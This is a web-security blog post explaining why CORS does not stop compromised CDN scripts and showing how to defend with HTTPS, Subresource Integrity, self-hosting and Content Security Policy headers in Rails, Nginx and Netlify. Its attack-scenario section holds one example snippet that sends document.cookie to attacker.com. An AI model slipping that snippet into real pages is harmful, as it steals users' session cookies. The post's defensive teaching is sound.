🌐 Why CORS Doesn’t Protect You from Malicious CDNs (and How to Stay Safe) | Content Security Policy (CSP)

πŸ” Introduction

Developers often assume CORS (Cross-Origin Resource Sharing) protects their websites from all cross-origin risks. However, while CORS effectively controls data access via APIs, it does NOT stop risks from external scripts like those served via a CDN (Content Delivery Network).

This blog explains:

  • Why CORS and CDN behave differently
  • Why external scripts can compromise your site
  • Best practices to secure your app

πŸ€” What Does CORS Actually Do?

CORS is a browser-enforced security mechanism that prevents JavaScript from reading responses from another origin unless explicitly allowed.

Example:

// Your site: https://example.com
fetch('https://api.example2.com/data') // blocked unless API sets CORS headers

If api.example2.com does not send:

Access-Control-Allow-Origin: https://example.com

The browser blocks the response.

Why?

To prevent cross-site data theft.


🧐 Why CDN Scripts Load Without CORS?

When you include a script via <script> or CSS via <link>:

<script src="https://cdn.com/lib.js"></script>
<link rel="stylesheet" href="https://cdn.com/styles.css" />

These resources are fetched and executed without CORS checks because:

  • They are treated as subresources, not API data.
  • The browser doesn’t expose raw content to JavaScript; it just executes it.

⚠️ But Here’s the Risk:

The included script runs with full privileges in your page context!

  • Can modify DOM
  • Access non-HttpOnly cookies
  • Exfiltrate data to a malicious server

πŸ’― Real-World Attack Scenarios

  1. Compromised CDN:
    If https://cdn.com/lib.js is hacked, every site using it is compromised.
  2. Man-in-the-Middle Attack:
    If CDN uses HTTP instead of HTTPS, an attacker can inject malicious code.

Example Attack:

// Injected malicious script in compromised CDN
fetch('https://attacker.com/steal', {
  method: 'POST',
  body: JSON.stringify({ cookies: document.cookie })
});


🧐 Why CORS Doesn’t Help Here

  • CORS only applies to fetch/XHR made by your JavaScript.
  • A <script> tag is not subject to CORS; the browser assumes you trust that script.

❓How to Secure Your Site

1. Always Use HTTPS

Avoid HTTP CDN URLs. Example:
βœ… https://cdn.jsdelivr.net/...
❌ http://cdn.jsdelivr.net/...

2. Use Subresource Integrity (SRI)

Ensure the script hasn’t been tampered with:

<script src="https://cdn.com/lib.js"
        integrity="sha384-abc123xyz"
        crossorigin="anonymous"></script>

If the hash doesn’t match, the browser blocks it.

3. Self-Host Critical Scripts

Host important libraries locally instead of depending on external CDNs.

4. Set Content Security Policy (CSP)

Restrict allowed script sources:

Content-Security-Policy: script-src 'self' https://cdn.com;


Diagram: Why CORS β‰  CDN Protection

Conclusion

  • CORS protects API calls, not scripts.
  • External scripts are powerful and dangerous if compromised.
  • Use HTTPS, SRI, CSP, and self-hosting for maximum safety.

πŸ” Content Security Policy (CSP) – The Complete Guide for Web Security

πŸ” Introduction

Even if you secure your API with CORS and validate CDN scripts with SRI, there’s still a risk of inline scripts, XSS (Cross-Site Scripting), and malicious script injections. That’s where Content Security Policy (CSP) comes in.

CSP is a powerful HTTP header that tells the browser which resources are allowed to load and execute.

🧐 Why CSP?

  • Blocks inline scripts and unauthorized external resources.
  • Reduces XSS attacks by whitelisting script origins.
  • Adds an extra layer beyond CORS and HTTPS.

How CSP Works

The server sends a Content-Security-Policy header, defining allowed resource sources.

Example:

Content-Security-Policy: script-src 'self' https://cdn.example.com;

This means:

  • Only load scripts from current origin (self) and cdn.example.com.
  • Block everything else.

Common CSP Directives

DirectivePurpose
default-srcDefault policy for all resources
script-srcAllowed sources for JavaScript
style-srcAllowed CSS sources
img-srcAllowed image sources
font-srcFonts sources
connect-srcAllowed AJAX/WebSocket endpoints

Example 1: Strict CSP for Rails App

In Rails, set CSP in config/initializers/content_security_policy.rb:

Rails.application.config.content_security_policy do |policy|
  policy.default_src :self
  policy.script_src :self, 'https://cdn.jsdelivr.net'
  policy.style_src  :self, 'https://cdn.jsdelivr.net'
  policy.img_src    :self, :data
  policy.connect_src :self, 'https://api.example.com'
end

Enable CSP in response headers:

Rails.application.config.content_security_policy_report_only = false

Example 2: CSP in React + Vite App

If deploying via Nginx, add in nginx.conf:

add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; style-src 'self' https://cdn.jsdelivr.net; connect-src 'self' https://api.example.com";

For Netlify or Vercel, add in _headers file:

/*
  Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; style-src 'self' https://cdn.jsdelivr.net; connect-src 'self' https://api.example.com


βœ‹ Prevent Inline Script Issues

By default, CSP blocks inline scripts. To allow, you can:

  • Use hash-based CSP:
Content-Security-Policy: script-src 'self' 'sha256-AbCdEf...';

  • Or nonce-based CSP (preferred for dynamic scripts):
Content-Security-Policy: script-src 'self' 'nonce-abc123';

Add nonce dynamically in Rails views:

<script nonce="<%= content_security_policy_nonce %>">alert('Safe');</script>

CSP Reporting

Enable Report-Only mode first:

Content-Security-Policy-Report-Only: script-src 'self'; report-uri /csp-violation-report

This logs violations without blocking, so you can test before enforcement.

Visual Overview

Conclusion

CSP + HTTPS + SRI = Strong Defense Against XSS and Injection Attacks.


Unknown's avatar

Author: Abhilash

Hi, I’m Abhilash! A seasoned web developer with 15 years of experience specializing in Ruby and Ruby on Rails. Since 2010, I’ve built scalable, robust web applications and worked with frameworks like Angular, Sinatra, Laravel, Node.js, Vue and React. Passionate about clean, maintainable code and continuous learning, I share insights, tutorials, and experiences here. Let’s explore the ever-evolving world of web development together!

Leave a comment